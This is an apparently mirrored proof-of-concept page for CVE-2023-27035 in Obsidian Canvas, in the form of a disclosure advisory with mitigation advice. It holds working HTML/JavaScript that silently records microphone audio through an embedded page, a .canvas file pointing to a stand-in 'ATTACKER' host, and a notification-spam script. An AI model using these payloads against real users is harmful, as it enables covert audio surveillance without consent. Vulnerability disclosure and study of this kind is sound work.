Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-27035 PoC — Obsidian 安全漏洞

Source
Associated Vulnerability
Title:Obsidian 安全漏洞 (CVE-2023-27035)
Description:Obsidian是Obsidian社区的一个适用于本地 Markdown 文件的知识库。 Obsidian Canvas 1.1.9版本存在安全漏洞,该漏洞源于允许远程攻击者通过画布页面上的嵌入式网站发送桌面通知、记录用户音频和其他未指定的影响。
Readme
# CVE-2023-27035
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

**Vulnerability type:**

Incorrect Access Control

**Description:**

An issue discovered in Obsidian Canvas 1.1.9 allows remote attackers to send desktop notifications, record user audio and other unspecified impacts via embedded website on the canvas page.

**Impact:**

The malicious embedded websites can access sensitive WEB APIs in the Obsidian application without the user's permission and knowledge. For example, they can silently record the user's microphone or send desktop notifications on behalf of the Obsidian application, without user's knowledge or explicit permission grant.

The root cause of this issue is the absence of the Session Permission Request handler in the applicaiton.

**Affected product:**
- Obsidian (Canvas feature)

**Affected versions:**
- 1.1.9 < 1.1.14

**Steps to reproduce:**
1. Create and host HTML file with following content (the page will record 5 seconds of audio from the microphone and than play it back).
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
```

2. Create a blank Canvas and press “Add web page”, insert link to poc1.html OR create the following .canvas file (url parameter is pointing to our page on the server):
```json
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}
```

3. Open the canvas file in Obsidian. The recording will start immediately, after 5 seconds it will be played back.

Notifications PoC:
```html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>
```

**Mitigation:**

Implement Electron Session Permission Request handler to handle permission requests from the embedded pages. Access to Web APIs must be explicitly granted by the user or denied by default.

**References:**
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
- https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
- https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
- https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler
File Snapshot

[4.0K] /data/pocs/43c4b20d1a04479264bd8933250c9f727304c11b └── [4.4K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.